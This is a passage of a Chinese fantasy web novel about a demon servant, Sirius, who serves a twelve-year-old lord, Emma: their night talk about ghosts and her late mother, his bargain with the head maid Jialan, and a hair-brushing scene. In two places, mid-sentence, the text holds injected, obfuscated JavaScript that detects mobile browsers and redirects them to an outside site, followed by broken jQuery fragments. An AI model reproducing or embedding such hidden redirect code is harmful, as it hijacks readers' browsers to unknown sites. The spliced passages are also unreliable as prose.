“看来没有。”西里斯站起身,按着桌面,又想了想,“我其实考虑过让你接任城主代理。如果你再长几岁,或许能比现在更成熟一些。我还以为你更有耐心,没想到会这么着急来跟我对质。” “我说过,你很厉害。”嘉兰说,“如果再等下去,我对这里的熟悉这项优势就会消失,甚至我在这里的人脉都会向你倾斜。男性就是有着这样的优势,我很明白。就像,你应该知道,这里的女性是无法成为骑士的。” 西里斯停顿了一下:“这个我确实没想到……我向你道歉。在魔法稀少的地方,身体素质更出色的男性确实更占优势。” “你的家乡不是这样?” “在我的认知里,魔法更青睐女性。”西里斯道,“我喜欢有用的人,能力和性别没有必然联系,所以不太在乎这个问题。” 嘉兰一愣,用一种有些怪异的目光看着他。 西里斯没有在意。 他整理好自己的手套,最后对嘉兰道:“关于宴会厅的用具,我相信你完全有恰当地处理它们的能力,本来就不必问我的意见。安排好之后给我一份报告就可以了。晚安。” 13.思念 他走到门口,从嘉兰放在旁边柜台上的灯具底座上拆出一块不起眼的石头,扔在地上。 它和房间内事先布置好的那些藏在各个角落里的小石头组成了那个屏蔽魔法的法阵,厅里依靠魔法驱动的灯盏也因为法阵的生成而全部熄灭。 现在西里斯将其中一个部件扔出了它的有效范围,于是整个法阵连锁般地失效。 西里斯关上门出去了。 宴会厅再度灯火通明。 费城领主的城堡一共有三层,这是封地贵族住所的常规形制。 住所的高度和层数由身份地位决定,如果超过国内比自己地位更高的人物,轻则引人指责批判,重则王室都会发函示警。 艾玛的房间在三楼。 西里斯扶着阶梯的扶手,慢慢地向楼上走。 他没有点灯,这点黑暗阻碍不了他的视野。需要的时候,他的目光能遍及这座城堡的每一个角落,只是这事对他来说也有点费神。 他看到艾玛的房间还开着窗。她睡前总会记得把窗关好。 西里斯虽然不想干涉她的作息,但熬夜目前确实会对她产生负面影响。 如果艾玛还无法做到合理的时间调配和自控,西里斯觉得他应该适当做些提醒。 他走到房间前,敲了门三下。 房间里艾玛说:“请进。” 这个时间,雪莉和莫妮卡已经回去休息了,贴身女佣的房间在领主的房间隔壁。 西里斯推开门,看见只有艾玛躺在床上。 月光随着夜风从大开的窗户间涌进来,打湿翻飞的窗帘,穿透她高高举起的、玻璃瓶里蓝色的海,缀在瓶里白色的船帆,温柔地飘落到她身上。 那双刚刚打量着瓶中小船的、金色的眼睛,转过来看刚进门的他了。 那目光里有种平静的力量,以至于西里斯都感到空气仿佛凝固了一瞬间。 “晚上好。”艾玛说,“你忙完工作了吗?” 西里斯迟了半拍才接上她的问题:“嗯,忙完了。我看您没有关窗,想必还没有睡,所以过来看看。” 艾玛放下她举起观察的玻璃瓶,从床上坐起身,好奇道:“是从院子里看到的吗?你上次发现我熬夜,就说是在院子里看见的……你是不是也不需要睡觉?” “今天是用魔法看见的。”西里斯说,“我的身体不会疲劳,所以几乎不需要睡眠。但精神还是会疲惫,仍然需要适当地休息。您刚刚在看今天买的东西吗?” “嗯,这个,很有趣。怎么晃动船都不会翻。” 艾玛又举起玻璃瓶晃了晃,光线穿过瓶里的液体,在它斜下方投下一块晃动的蓝色光斑。 “我以前也听过一些航海冒险类的故事,但是这类故事比较少,内容差距也很大。因为,地上好像没有人知道大海究竟是什么样的。” 艾玛回过头,问,“西里斯,你见过大海吗?” 西里斯从那片蓝色的液体中收回目光:“没有。” 艾玛很惊讶:“你都没有见过?” “海洋的神明不欢迎陆地的一切。所有航向大海的船只无一例外地沉没,没有一艘返航。 “地上的占卜师们都说:‘海洋之外还是海洋,这颗星球上的陆地连成一片,再远也没有可以探寻的土地。’所以人们不再耗费心力出海了。有关海洋冒险的故事,只是创作者们的幻想。” “是吗……那些故事很有趣,真可惜。”艾玛望向他,月光在她眼里亮闪闪的, “海洋里也有神明吗?” 她向来就是这样的好奇心,没有其他意思,但西里斯还是下意识避了下她的目光。 他沉默了片刻,才解释道:“世上确实存在的神明只有四位:日神、月神、海神、牧神。祂们秉性各异,影响区域范围不同,魔力性质体系也有差别。 “祂们各自会选择一位女巫,在自己的女巫去世后的百年之内,再选出下一任。因此,同一个时代最多也只会同时存在四位女巫。” 整个星球上只会最多同时存在四位,这个渺小的数字和庞大的范围这时切实地震撼了艾玛,让她不禁沉重地陷入思考。 “神明……什么样的才算‘神明’呢?”艾玛想着想着,低声咕哝, “嗯……我家乡的镇上有‘财神’‘爱神’等等神明的教堂,有很多信徒。那么多人信奉的神,并不是实际存在的吗?” “那四位神明的存在和有没有人信奉无关,祂们的诞生早于地星上其他任何生命出现之前。至于世人信奉的各种‘神’,我也不能武断地说祂们一定不存在,毕竟这是个所愿皆可能实现的世界。 “只是那些存在无论如何超凡,和那四位都有本质的区别,无法相提并论。” “‘超凡’的存在……”艾玛又从他的话里抓到她在意的偏僻重点,“像是……‘鬼’?世界上真的有鬼魂吗?” 西里斯没想到她的话题往这里转,顿了顿,答:“有的。‘鬼’确实存在。” 他一时间没能理解艾玛眼里突然出现的欣喜。 她问:“那样……那样的话,鬼魂真的会在‘安魂节’的时候回来看自己的家人吗?” 西里斯在她问出这句话的瞬间明白了她眼中喜悦的含义,垂下了视线:“抱歉……我想,据我所知,‘鬼’的存在和您的期待有所不同。 “鬼是……‘逝者的执念’。只有对死去感到不甘的灵魂才会成为鬼,被困在人间,直到执念消解才能安息。您逝去的家人如果没有成为鬼魂,也就是没有留下什么遗憾……那样大概才更好。” “啊……这样吗……” 艾玛的声音轻下去,然后是一段沉默。 西里斯没有抬头。 “那……你能看见鬼吗?”艾玛又问。 “借助一些特定的法术,或者在特殊的时点,理论上可以看见,但我没有尝试过……或者是没有成功过。” 西里斯回答,“但是……我听得见鬼的声音。所以我很肯定,他们确实存在。” 艾玛很意外:“那你现在也能听见‘鬼的声音’?” 西里斯抬起眼,对上她好奇的目光。 安静的房间里,只有风声在他耳边掠过。 “今天没有听见。”他说。 “哦……”艾玛有一点小小的失望。 她在床上抱起膝盖,把自己蜷成小小的一团 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15895873|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,突然有好半天不吱声。 提到了家人,西里斯想她可能有点难过。 他走到艾玛床边,犹豫了几秒是否该拍拍她的背表示安抚。 这时候艾玛说:“我希望妈妈能来看我。” 西里斯犹豫着动弹的手指停住了:“嗯。” “我……现在,遇到了你,在这里交到了新的朋友。我现在过得很好。我好希望妈妈能看到。” 艾玛趴在自己的膝盖上,转头看向窗外,“我不想再碰到父亲。我不怨恨他,但也没有爱之类的感情。如果现在见到他,可能我还是会难过。 “前几天我做了一个梦,梦到……他和妈妈感情很好,他也很爱我。梦里的我都觉得,‘太离谱了’‘这些根本不可能发生’,但我还是做了这样的梦。醒来有点讨厌这样的自己。” “我想离开自己的家乡,到不可能再遇见父亲的地方。可是我又担心,母亲从来没有离开过那里,我如果走得太远,她回来看我的时候,找不到我怎么办?”她闭上眼睛, “但是,我知道,如果只有带着遗憾死去的人才会成为鬼……妈妈离开的时候很平静。她一直对于我会有一个美好的将来深信不疑,离开的时候也一定不会担心。我知道,只是我想她了。” 西里斯没有说话。 好一会儿,艾玛回过头,小声问:“西里斯,我可以抱一下你吗?” 西里斯看着她,微笑:“当然可以。” 他回答得很自然,但后面的话却卡在喉咙里。 他想说,诸如“我是您的所有物,您完全不必过问我的意见”这样的话。 他并不是被沉重的氛围压倒,或被那悲哀和温情所动摇。相反,那些柔软的、怀念的话激起他心头一阵烦躁,让他觉得放在身侧的手指甚至因为过于用力而跟着僵硬。 真不想听。 他隐约听见自己在心里说。 想要直接走开。不想碰她。想要伤害某人。想要杀死自己。 艾玛在床上站起身,借着垫脚的床,和西里斯差不多高了。 她走近两步,轻轻地,伸手,环住他的胸口,把脸埋在了西里斯的颈窝上。 她轻声说:“谢谢你。” 西里斯想说,像是“这是我应该做的”。但他没有说。 艾玛没有哭,没有露出悲伤的表情,像是拥抱他想要得到一点小小的安慰,又好像,反过来在安慰他。 她当然没有错。西里斯知道。 这时候落泪才是普通的,悲痛才是正常的。 而艾玛这样清醒又冷静,清醒得几乎残忍,却又稳定得甚至异常。 他伸出手,手指仍然有些僵硬。但那种烦躁的感觉却确实地在她的平静里褪去了,留下深深的疲倦。 他将手放到她的背上,指骨慢慢地放松了。 “不客气。”他说,不像他平时会有的回答。 西里斯在拥抱她时看见艾玛身后的月光。 月亮在很多作品里都用于指代对故乡的思念,他在这时忽然想起这层含义。 “人类总是对故乡有太多情结。” 西里斯沉默地想,他也不是不能理解。 14.交换条件 费城的春天终于来了。 这对艾玛来说可是件大事。 厚厚的衣裙变得轻薄,花园里的鲜花争先盛开,城市里的港口解冻了,每天都有穿着不同风格服装的人从异地搭着游船前来,从街头到领主的城堡,都逐渐变得热闹。 远方的温暖的春天,比艾玛想象里还要好。 艾玛现在的生活丰富多彩。 她最近迷上了跟小厨师苔丝学习做菜,主要是制作各类糕点。 不难理解,很多小孩都喜欢做手工,点心制作也是手工的一种。 她为此堂堂翘掉了几节美术课,甚至把没来得及离开的美术老师拽到厨房一起做了几个小时点心。 美术老师从抗拒,到心情复杂,到融入厨房,甚至反过来教苔丝和艾玛如何做出更好的糕点造型设计。心情激荡之下在砧板上用面粉画设计图,气氛还挺热血的。 西里斯觉得挺好,他在艾玛的教育问题上采取相当放任的态度,她开心就行。 佣人们认识到艾玛的异想天开不会让任何人受到责骂,就逐渐放松地看待她的临时起意了。 艾玛做的点心远远超出她自己吃得完的分量,于是城堡上下几乎都被她塞过糖果面包蛋糕糯米团不等。 由于出身环境,艾玛很爱惜食物。她做得细心,食材报废率低,做得卖相差点也都能吃,被上司塞了零食的佣人们倒不需要为此昧着良心做什么夸奖了。 嘉兰走进西里斯的办公室时,就看到他桌上放着个小小的点心拼盘。 由于自己近来也收到了好几次类似的作品,这份点心来自哪位热心小厨师的手笔,她一眼就知道。 但走近看了看,嘉兰发现她为西里斯准备的拼盘有点特别。 食物的品类很多,但分量都格外少,跟她做给别人的点心分量显然不一样。 “你饿了吗?”西里斯看她目光停在那盘点心上,随口道,“想吃的话可以吃。” “不饿。”嘉兰抬起眼,皱眉,“而且,这是那孩子做给你的。” “我也不饿。”西里斯翻完了手上那叠报告,在末页签了个字,盖上章,还给嘉兰,把笔插进了一边的墨水瓶里。 他的桌面比前阵子空了不少。 这也是当然,因为近来,大部分的城市管理事务已经不会被送到西里斯案前来了。 自亲力亲为的布雷德尔·道恩过世,治理无能但不愿分权的布雷德尔·戴斯离开之后,费拉约尔斯迎来了这十几年里的第一位代理城主。 这位城主代理在当地确是个名人,名叫多蒙,没有姓氏,是个出身平民的富商。 他是费拉约尔斯商业行会的副会长,为人乐观和气,以富有和好心出名,支持过许多基础公共设施建设,慈善又热心。 这样一位人物作为城主代理,民众自然是放心叫好的,只是—— “多蒙先生的人品值得信任,他也确实有经营事务和管理商会的经验,但他并不是个擅长改革和决策的人,他自己也很清楚。 “而且他今年都四十七岁了,连商会的工作都在找人接手。你为什么选择他?又是怎么说服他的?” 多蒙上任前嘉兰就听说了消息,风风火火地闯进西里斯办公室,双掌往桌上一拍,沉着声质问他。 “问题很多。稍等。” 西里斯回完这句,写完手上的文件,先给出了结论, “因为他最合适。” 嘉兰皱眉:“为什么?” “他有地位,有名声,有人望,在民众里口碑很好。如果听说他来当城主代理,大多人会感到安心。 “然后,就像你说的,他有经营管理的经验和能力,也有‘自知之明’。” 西里斯淡淡道, “选出一位能包揽各种工作的人才很难。像那位‘道恩先生’那样的工作狂可不多,专权也容易让人目光狭隘。总之,很麻烦。 “比起选一位能干的代理,我认为选一位‘听得进意见’的更好。费拉约尔斯各个领域专精的人才并不缺乏,我向多蒙先生推荐了几位。” “至于说服……也不算很难。他虽然年纪不小,但是很有热情。 “我只是向他展望了一下这座城市的美好前景,他就因为‘能为家乡做出回报和贡献’这种想法感动得热泪盈眶。他是个浪漫主义者,这也不错,在理想实现之前总得先能想象理想的样子。 “如果一切顺利,而且足够乐观,或许几年后你能在这座城市的港口边上看到新开设的水上游乐场。 “他说届时他就能功成退休,带着他孙子孙女在游乐设施顶端看着日落为他们讲述这座城市的故事。怎么样,听起来确实不错。” 西里斯的语气很平,毫无感情。 但嘉兰的眼角抽动了一下,有点泄气,因为真的从他的叙述里想象出了多蒙先生描画那副图景时激动而饱含温情的样子。而且他还是那么热爱公共设施建设。 西里斯从她手边抽出下一张文件:“如果你有什么想法意见,可以去找他本人提,反正你们也认识。能为城市建设提供一份力量,想必也是你的心愿。” 嘉兰沉默着捋了逻辑半天:“那你呢?” “我?需要的时候帮你们点忙,管一些城堡的事务,差不多这样。” 西里斯眼皮都不抬, “对我来说,跟我的主人有关的事才更重要。你们那些过家家怎样都好,如果在这上面花费太多精力,让我疏于对她的关注,那才是本末倒置。” “你虽然那么说了,我大概能理解……”嘉兰看着西里斯,说, “但你是不是闲过头了。” 下午两点,刚刚确认完钟表时间,已经觉得可以离开办公室的西里斯靠在椅子里听她说话:“是吗?” 嘉兰盯着西里斯的眼睛。 现在他时常空闲到能看着她的眼睛和她对话,嘉兰居然一时间有点不适应。 “你说要多关注艾玛大人的事,”嘉兰压着火气,“也没看见你多陪着她啊。” 西里斯表现出一种理所当然且显而易见的困惑: “我认为没有孩子会喜欢在监护人的热切关注下和朋友玩耍。” 确实如此。嘉兰捏紧了拳头。 “那你现在就把工作做完了?之后的时间要干什么?” 西里斯想了想,说:“可以思考一会儿人生的意义。” 嘉兰真的觉得拳头有点发硬。 “好吧……开玩笑的。可以做的事想找多少就能找出多少。” 西里斯向她扬了扬下巴, “空吗?还有话说就先坐。” 嘉兰沉着脸从办公室一角把待客的椅子搬到办公桌对面,椅脚敲在地板上时极沉重地一响。 她抱着双臂往椅上毫不客气地坐下,西里斯帮她倒了杯茶。 “我们的小领主已经习惯了现在的课程节奏,可以开始给她加其他课程了。” “很心急。”嘉兰评价。 “要补上之前落下的知识不容易。当然,如果她哪天改变主意不想再学,这些也随时可以停止。” “这个年纪的孩子,玩心都比上进心强,你就那么信任她的自觉?” 西里斯抬抬眼:“看你也不是放纵自己的类型,就不相信别人的决心?” “类似于翘课跑出去赌马,向父亲发誓下回绝不再犯,然后不过半个月又重蹈覆辙的‘决心’?” 嘉兰轻轻啧了下舌头,“养尊处优的贵族孩子,毅力比一般人要差。” 西里斯笑了一下,不置可否。 嘉兰盯着他:“果然还是很奇怪,你们之间的关系。 “一个奴隶要是受制于他的主人,他自身一定有无法逆转的劣势,后天的财富、能力,或者先天的出身。 “但你——手腕,见识,能力,一样不缺。我想不到一个十二岁的孩子能限制你什么。” 她顿了顿,严肃地问:“她不会是你的私生女吧?” 西里斯说:“大胆的猜想,也够没礼貌的。不是。” “如果真像你说的,那孩子背后没有什么人,她本身又有什么能约束你?” 西里斯喝了口茶:“别误会,我没有越过主人去掌握这座城市的统治权,不是我有多好心或者多忠诚,只是我发自内心地没兴趣。 “不是所有人都想要那种权力,即使你是对它有兴趣的那一类人。我尊重主人的意见和感受,因为她值得。” 嘉兰凝视着西里斯良久,开口时音调古怪地下沉:“‘救命之恩’就真是那么重的恩情?” “或许吧。” “‘值得’?真的值得吗?”她冷笑一声,语速比平时要快,气息也变得不稳, “盲目的忠诚能有什么好下——” “这问题你不是想问我。”西里斯打断了她,“我和你父亲不一样。” 嘉兰停住了。 她沉默一会儿,端起西里斯倒给她的茶,喝了一大口,狠狠啧了一声。 西里斯知道自己倒的茶水温度没问题,不在乎她想发泄情绪:“那么,说回前面的话题。除了文化课程的学习,体力锻炼也很重要。我问了主人的意见,她对骑射更感兴趣。 “其他课程的老师都好说,但是擅长骑射的女性在这里不好找。” 嘉兰僵着脸,还是动了动嘴:“领地里擅长骑射的骑士多的是,为什么非要找女性?” “男性和女性的体质不同,适合的训练方法也不一样。我想,这一点你很清楚吧?” 意识到西里斯的目光别有深意地落在她身上,嘉兰捏了捏拳头:“有话直说。” “你的剑术出类拔萃,射术和骑术也都有骑士资格的水准。由你来负责主人的骑射课程,我认为是比较理想的情况。” “我教她,你能够放心?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15900043|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘉兰讽刺道, “你不是信不过我吗?” “我也觉得,你对我放下戒备的速度太快了。” 西里斯的话音里带上一点柔和的诚恳,“我建议你对陌生人的心防还是再高一些更好。” 这语气用在此情此境,杀伤力显著,嘉兰气得差点没把杯子捏裂了。 “我没空。” 她从牙缝里一字一句地挤出话来。 西里斯恢复了正常语调,轻飘飘却像大人批评闹脾气的小孩:“别因为情绪这么冲动。” “我不是因为你才这么说的。我很忙。” “忙着找多蒙先生学习?” 嘉兰一顿,盯着早就知道她最近行踪的西里斯,很不爽,但承认了:“对。” “一边想去多蒙先生那里学习和帮忙,一边还要管理城堡的日常事务。你最近时间很紧张吧,看起来睡眠不足。” “我会兼顾好两边,用不着你担心。” “目前做得还不错,但你这状态可持续不了太久。哦,我不怀疑你的毅力。”西里斯摊开手,示意了一下自己完工后整洁的桌面, “但如你所见,我很闲。” 嘉兰火大于他还要强调这件事:“我知道,你炫耀什么?” 西里斯叹一口气:“看来睡眠不足确实会让人视野狭窄……好吧,我的意思是,如果你能负责主人的骑射课,我可以分担你在城堡里的工作,你也能够在多蒙先生那里待更长时间,怎么样?” 嘉兰凝眉思索,抛出怀疑的目光:“你有这么好心?” “我难道还要处心积虑地架空一个女仆长?”西里斯道, “城主的位置都直接让渡了出去,你还要怀疑我的权力欲,就太不聪明了。” 嘉兰没在意他的否认,笔直地扎进问题中心:“除了我能教她骑射,这么做,对你来说还有什么好处?” 西里斯扬一扬眉,赞许道:“知道追问,还不错。” “我不信你的算盘有那么浅。” “那就别等着我一笔笔打给你听。这次算了,就当表现诚意。” 西里斯交叠双手,“她会成为这座城市真正的领主,身边需要其他辅佐的人。如果你能得到成长,对她来说是件好事。” 嘉兰笑了一声:“这就在铺路了,你还真细心,不怕我去抢她的位置?” “我威胁过你了,想来你听得进去。如果你不是有那种野心的人,我做这些才真是多此一举。” 西里斯说,“另外,你对我意见不低,但对她的印象好像还不错。” 嘉兰的目光在桌上的点心停顿片刻,端起盘子边上自己的茶杯: “她平时虽然说通用语,但有波克语的口音。即使不来自这座城市,也一定在这个国家长大。 “她的语文老师应该在给她做发音矫正,现在已经听不太出来了。” “能做出这种判别,很厉害。”西里斯点头, “我不担心你对她不利。你的道德感很高,不会允许自己伤害一个无辜的孩子——刻进骨子里的骑士精神。” 嘉兰冷笑:“嘲讽吗?” 西里斯说:“是夸奖。” “夸奖一个永远不可能取得骑士资格的女人有‘骑士精神’?我还想赞美你挖苦人的方式真是委婉呢。” 西里斯问:“对你来说,头衔和象征意义哪个更重要?” 嘉兰没回答。 她按着额角,沉默了一阵子,喝完杯里的茶水:“你的提议我会再考虑。” “我想条件开得挺不错,以为你会直接答应呢。还有什么让你犹豫的要素?” “什么事都顺着你的想法走的感觉让人不爽。” 嘉兰把杯子敲到桌上,把那盘点心往西里斯面前一推,“喂,你表了那么多忠心,她给你做的点心你倒是吃点。” 嘉兰不理解,西里斯对艾玛的忠诚和他做的那些细心的考量都不像假的,艾玛的点心却在他地方遭到这样的冷遇。 根据这段时间的接触,她认为艾玛是那种会积极回报他人善意的好孩子,对将她照顾得体贴入微的西里斯不可能不感谢,但特意做给他的点心分量又远比她做给旁人的要少。 真奇怪。想不明白。 嘉兰不能理解。 西里斯闻言停了停,和那盘点心对视片刻,最终摘掉手套,拿起盘里的饼干。 嘉兰这才看见他的指甲。 五个指甲五种颜色,上面有绘图、亮片、粘花等工艺不等,看得出在上面创作的小艺术家非常用心。 嘉兰语塞了,默然了,目光复杂了。 西里斯平静地补上一句没有必要解释的解释:“主人画的。” “嗯……”嘉兰突然想说,你还挺敬业的。 但是话没出口,又想起他做完工作直接开摆不愿多操一分心的态度,不知道该说他敬的哪份业,最终没有评价。 15.揽花节 春季的花市铺了满街,招待游客商旅的生意也都做得兴旺。 费城换了领主,推出优惠的商业政策,吸引了不少人前来。城里显出一派新气象,让这年的春天比往年热闹上许多。 街上近来时时有新活动,城堡里的佣人也有许多感到心痒,借故请假出去玩。 艾玛现在每周会去城里溜达一两次,为了小领主的安全,每次都会从城堡的佣人中挑两三个陪她一起。 这陪同资格很抢手,首先大家都知道小领主是个好相处的孩子,其次陪她出门名义上是工作,工资照发,而实际还能出去玩,本质是一种带薪假。 艾玛经常和雪莉莫妮卡一起出门,有时会带上凯和迪尔。 迪尔陪同的次数不多,他的本职工作是护卫,本来是最应该担当出行保镖的那种,但西里斯认为他“天赋异禀,可堪大用”,更多时候把他留在城堡待机。 自从城主代理上任之后,西里斯少了不少工作,但反而更没有时间陪艾玛出门。 借着商贸旅游活动来费城拜访领主的人,顺着化冻的运河送来了一拨又一拨。只有蠢人或者用心不良的访客才会避过领主,只跟明面上的管理人交好。 城主虽然管理整座城市各行各业的事务,但最重要的决策权仍然在领主手上。 这是维持领主权力的要点,西里斯当然不会推回客人们亲手奉上的尊重。 因此他即使完成了工作,也会待在城堡里,接待不知道什么时候上门拜访的来人。 以艾玛现在的学习进度,面对那些居心难测的客人还太早。 西里斯和他们谈话时往往会抛出“领主大人身体不适”“昨天不小心感冒了”之类的借口婉拒他们想和新领主见面的请求,即使彼时艾玛正在集市上身体健康精力充沛地跟朋友们蹦跶。 只是上门谈谈生意,说点客套话示好的还好说,西里斯不介意和他们互相客套到拜访结束,或许还能签点合作协议,后续交给多蒙先生操心。 有的人一开始就别有目的,比如刺探领主城堡目前的情况,派一些身手好的潜行进来——这算是聪明的。 但领主城堡的护卫们警惕性很高,他们很难得手。 西里斯更是在城堡范围内铺了一个大面积的法阵,如有异常,随时示警。 笨一点的会直接把敌意和挑衅怼到西里斯面前来。 如果说他谈生意时还会跟对方摆摆笑脸,对这种直接表现恶意的人太客气就纯属浪费精力了,毕竟对方也领会不到。 次数多了西里斯觉得麻烦,这时就会派出在一旁待机的迪尔送客。 嘉兰听说这事的时候,一开始不能理解。 直到迪尔用极其高效的对话技巧成功劝退了好几拨来找茬的,甚至还有几次把人当场气哭,嘉兰开始有一点理解了。 西里斯很满意。 从迪尔第一次无意地当面损了他之后,他就知道迪尔这种“用最平常的语气说出最扎人心的话”的说话方式真的没有恶意,这嘴是天生的本事。西里斯很乐意物尽其用。 嘉兰也没想到迪尔真连西里斯都敢损,更没想到西里斯连这都敢用。 她欲言又止良久,最后本着对发小生命安全的关怀向西里斯问了一句:你给迪尔上保险了没有? 嘉兰最近仍然很忙。 她还没答应西里斯的提议,在城主住所和领主城堡间来回连着轴转。 她做事心里有数,西里斯对她倒没什么担心的,只是提醒嘉兰别再半夜十二点之后翻城堡的围栏进来了,否则下次早晚被他手滑扔出去。 一切有条不紊地向前行进。 艾玛最近新增了数学课,她在数学上先前有基础,因此接受起来很快。 课余她会跟凯探讨数学题,凯感到自己的专业素养被承认了,非常感动,主动成为了她的数学顾问。 因为经常在各忙各的事,西里斯和艾玛有时会一天也碰不上面。 他偶尔会在艾玛入睡前对她做个拜访,关心她有没有什么特殊的需要,或者等待解答的问题,也会汇报一些工作相关的重要决策,互相交换见闻。 有关魔法的学习,西里斯没向她提太多。 他始终认为魔法是不需要条规的,对女巫来说,掌握魔法是自然而然,必定会发生的事。 他不应该干涉,也根本不必着急。 “揽花节”是费拉约尔斯本地最盛大的节日,节庆每年在五月初时段举办,具体日期根据天象、花况等要素定,一整个时期都变着花样地举行活动。 人们说“揽花节是花神的诞生日,祂在这一天邀请四方朋友前来举行宴会”,而传说中的宴会里发生了些什么,又编出许许多多的故事,留下各式各样的传统——真不真不重要,有的“传统”甚至是这一年编出来的新故事。 很多摊位会根据这些故事设计活动,做的生意跟鲜花毫无联系的商店,也会在店头插点花沾沾喜气。 赶在这个时段来访的游客非常多。 费城有好几座花神的教堂,真的相信传说并以花神为信仰的人也不少,信徒过这个节还有些宗教意义在里头,但更多人就是图个好玩热闹。商家更是只要有热闹就有钱赚,送上门的由头不得好好包装一下再端出来。 艾玛从前也听说过揽花节。 费城离她的家乡不远,这节日又很隆重,她父亲去过两趟,回来的时候身上还有残留的花香。 既然出远门参加了节庆,就不能不带纪念品回来给他的夫人孩子,艾玛同父异母的妹妹得到了一个金属丝掐的花型发卡,艾玛羡慕过一阵子。 但她父亲没能在揽花节找到什么商机,反而被当地极富吸引力的商业活动诓着花了不少钱,到家后回过神来,觉得亏本了,后来就不再去。 艾玛终于能亲眼见一见揽花节,听说具体日期之后就一直在期待,做了各种出行准备,特别努力地提前完成作业,反复向西里斯确认了几次,生怕不让她去似的。 西里斯那阵子格外忙。外地人大多趁着节日顺便来领主城堡拜访一下,谈完事也花不上几个小时,剩下的时间正好在城里参加活动。 一个个都做着这样的打算,那些“几个小时”也就在西里斯的日程表上排成一列,满满当当。 嘉兰也特别忙。多蒙先生那边的热闹程度比起领主城堡有过之而无不及,许多商业活动的安排还要经他的手。 前台越热闹,作为后勤的就越忙碌。 揽花节虽然年年在办,但今年刚换了领主,政策又更了新,时点比较特殊,本来不以为怪的本地人都生起了许多期待。 领主城堡里的人当天消失了一半,另一半也掐好时间约了跟朋友换班。 西里斯给迪尔放了假,让他跟艾玛和凯他们一起玩去了,街上人多得让人不放心,他叮嘱迪尔多注意艾玛一点。 迪尔近来看着西里斯将那么多客人应对得当,对西里斯的敬意直线上升,把他的 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西里斯碰见过她和雪莉莫妮卡一起探讨:如果把不同颜色的染发剂按各种比例混起来能混成什么颜色。 艾玛之前还问过他,她要是想染发可以被允许吗。西里斯说当然。 在对打扮小有研究的雪莉的建议下,艾玛选了掉色快、容易洗的染发剂入门。 有魔法的世界就有类似这样的好处,比如不伤头发容易清理的染发剂,比如能让洗完的头发快速干燥的洗发皂,这些原本普遍让人困扰的生活问题所催生出的愿望里,总有那么几个偏得魔法眷顾,让想象的解决方式成为现实。 总之,一切预谋事先都有充分的准备和明显的征兆。 西里斯并不意外。 艾玛今晚没准备什么染发剂已经非常仁慈,前阵子她在商店看着人现做洗发皂,回来给西里斯塞了一打,西里斯以为这已经是个预告,这些洗发皂总得用得上的。 艾玛显然不是想对西里斯造成什么精神折磨,完全相反,可以说她是相当用心地把自己喜欢的东西学好,然后用在西里斯身上,认为或许能让他开心。 虽然从结果上看来,孩子的好意对成年人来说仍然是一种精神折磨。 西里斯偶尔会想,魔法学习确实不着急,但艾玛的审美教育是否应该得到更多重视。 不过,他自己也有一些经验体会,审美和思考方式之类的东西,都是随着年龄增长就会自然而然发生变化的,有用环境培养的意识就好,也同样是急不来的事情。 艾玛的美术老师很年轻,非常有理想和激情,从艾玛给西里斯画的指甲也能看出她受到了不少熏陶,作品兼具不必要的细腻和过度的抽象。 西里斯考虑给艾玛换个美术老师。 说到底,西里斯对别人的眼光和评价本来也不是很在意。 他对这些事唯一的介意点是,他自身的审美和孩子还未成熟的审美之间的冲突,但这点小意见在艾玛面前无关紧要。 西里斯平静地顺流而下,随艾玛开心。 艾玛想让西里斯坐在床边,或者椅子上,方便她施工。 西里斯选择在她床边的地毯上坐下,背靠着她的床沿,顺手解开了自己束起的长发。 暗红色的长发散下来,在艾玛白色的被褥上铺开,清晰分明,好像落了一地的羽毛。 16.梳头发 艾玛第一次这么仔细地看他的头发。 西里斯总是面向她,艾玛不太有这样观察他头发的机会。 她们之前开小会,莫妮卡犹豫地低声担心,西里斯先生工作这么忙,掉头发是不是会很厉害,会不会因为劳累导致发质不好。 小会成员深以为然,研究起了护发套装。 但艾玛摸起来,觉得护发套装大抵是派不上用场。 她坐到床上,把六角灯放在一边提供亮光,将冷白的灯光调得颜色暖了些。 艾玛习惯晚上在床上看书或者摊东西,因此选了白色的被罩,只有边缘绣着些花纹,以免摊的东西一杂,眼睛也跟着花了。 这个安排在今晚也有好处,西里斯散在被单上的发尾都能看得很清楚。 她抓起一把西里斯的头发,手太小了,有点抓不过来,发量显然很健康。 他平时扎起头发,发尾大概有过腰那么长吧? 艾玛想着,就问起来:“西里斯,你的头发好长啊。如果剪掉,是不是很快还会长出来?” “嗯,它们保持在一个固定的长度,如果剪掉,很快就会恢复到之前的长度。” “那你是不是不会掉头发?” “会的。只是比起普通人,自然脱落的头发少很多,大部分是因为外力作用——比如被扯掉,或者勾到了什么。” “恶魔的再生能力真厉害啊。”艾玛感慨。 “您羡慕长生不死吗?”西里斯问。 艾玛认真地想了想:“嗯——我还有很多很多想做想看的事情,对现在的我来说,时间还是不够用,会觉得活得更久很好。 “但是,很多故事里也有这样的命题,看过之后我又觉得,不一定吧。如果只有我能活得很久,最后认识的朋友都不在了,那活着也挺叫人难过的……” “您想得很透彻。”西里斯轻声笑了笑,“是这样的道理。” “但是如果恶魔都能活很久,互相作伴,或许也不那么糟糕?” “如果恶魔都是这样不死不灭,地狱可就要人满为患了。”西里斯笑道, 